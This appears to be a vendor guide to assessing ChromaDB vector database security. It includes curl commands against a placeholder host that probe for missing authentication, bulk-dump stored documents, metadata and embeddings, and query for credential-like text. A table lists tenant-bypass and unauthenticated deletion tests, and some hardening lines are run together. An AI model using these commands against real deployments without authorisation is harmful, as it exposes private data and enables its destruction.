ChromaDB is the most widely adopted open-source vector database among LLM developers, used extensively as the backing store for LangChain, LlamaIndex, and custom RAG applications. Its server mode exposes a FastAPI application on port 8000 with no authentication by default — the same open-source tool that developers run locally is frequently promoted to production without adding access controls; any network client can list all collections, retrieve every stored document chunk with its associated embedding vector and metadata (which typically includes source URLs, document titles, user IDs, and raw text content), delete collections, and enumerate all tenants; ChromaDB's multi-tenant architecture (introduced in v0.4) relies on the client providing a tenant name in the request with no server-side authorization, meaning any client can access data in any tenant; the FastAPI /docs endpoint exposes the full Swagger UI revealing all available endpoints; and ChromaDB's token-based authentication when enabled uses static tokens that are often committed to application configuration files. This guide covers systematic ChromaDB security assessment.
# ChromaDB server default port: 8000
# Check ChromaDB API (no auth required on default deployments)
curl -s http://chromadb.example.com:8000/api/v1 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print('ChromaDB API:', d)" 2>/dev/null
# Check if authentication is required
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
http://chromadb.example.com:8000/api/v1/collections 2>/dev/null)
echo "Collections endpoint: HTTP $HTTP_CODE"
# 200 = no auth; 401 = token auth enabled
# Check Swagger UI (always present unless explicitly disabled)
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
http://chromadb.example.com:8000/docs 2>/dev/null)
echo "Swagger UI: HTTP $HTTP_CODE"
# 200 = API documentation exposed, reveals all endpoints
# ChromaDB stores documents with their embeddings, metadata, and IDs
# The 'get' endpoint retrieves all stored items from a collection
COLLECTION_NAME="my_documents"
# Get all documents with their metadata and text (no auth required)
curl -s -X POST \
"http://chromadb.example.com:8000/api/v1/collections/${COLLECTION_NAME}/get" \
-H "Content-Type: application/json" \
-d '{
"include": ["documents", "metadatas", "embeddings"],
"limit": 100
}' 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
docs = data.get('documents', [])
metas = data.get('metadatas', [])
ids = data.get('ids', [])
print(f'Documents retrieved: {len(docs)}')
for i in range(min(5, len(docs))):
print(f' id={ids[i] if i < len(ids) else \"?\"} meta={metas[i] if i < len(metas) else {}}')
if docs[i]:
print(f' text: {str(docs[i])[:100]}')
" 2>/dev/null
# Semantic query to find sensitive stored content
curl -s -X POST \
"http://chromadb.example.com:8000/api/v1/collections/${COLLECTION_NAME}/query" \
-H "Content-Type: application/json" \
-d '{
"query_texts": ["password credentials secret API key"],
"n_results": 10,
"include": ["documents", "metadatas", "distances"]
}' 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
docs = data.get('documents',[[]]) [0]
dists = data.get('distances',[[]])[0]
for i, doc in enumerate(docs[:5]):
print(f' distance={dists[i]:.3f} text={str(doc)[:100]}')
" 2>/dev/null
CHROMA_SERVER_AUTHN_PROVIDER=chromadb.auth.token.TokenAuthServerProvider and configure tokens; without this, all RAG data is publicly accessibleCHROMA_SERVER_NOFILE=true or use a reverse proxy to block /docs and /redoc endpoints| Security Test | Method | Risk |
|---|---|---|
| FastAPI server unauthenticated collection access | GET /api/v1/collections — lists all collections and document counts without credentials | High |
| Document and embedding bulk exfiltration | POST /api/v1/collections/{name}/get with include=["documents","metadatas"] — exports all RAG content | High |
| Semantic query reveals stored sensitive content | POST /query with query_texts=["password","secret"] — finds sensitive stored document chunks | High |
| Multi-tenant isolation bypass | Request with arbitrary tenant header — access collections of other tenants without authorization | High |
| Collection deletion without auth | DELETE /api/v1/collections/{name} — permanently removes a collection and all its data | High |
| Swagger UI exposes complete API surface | Browse /docs — reveals all API endpoints, parameters, and allows interactive testing without credentials | Medium |
Ironimo tests ChromaDB deployments for unauthenticated FastAPI server access enabling collection enumeration and full document exfiltration, semantic query attacks inferring stored sensitive content via embedding similarity, multi-tenant isolation bypass using arbitrary tenant parameters, collection deletion by unauthorized clients, Swagger UI exposure revealing the complete API attack surface, and static token authentication tokens embedded in application configuration files.
Start free scan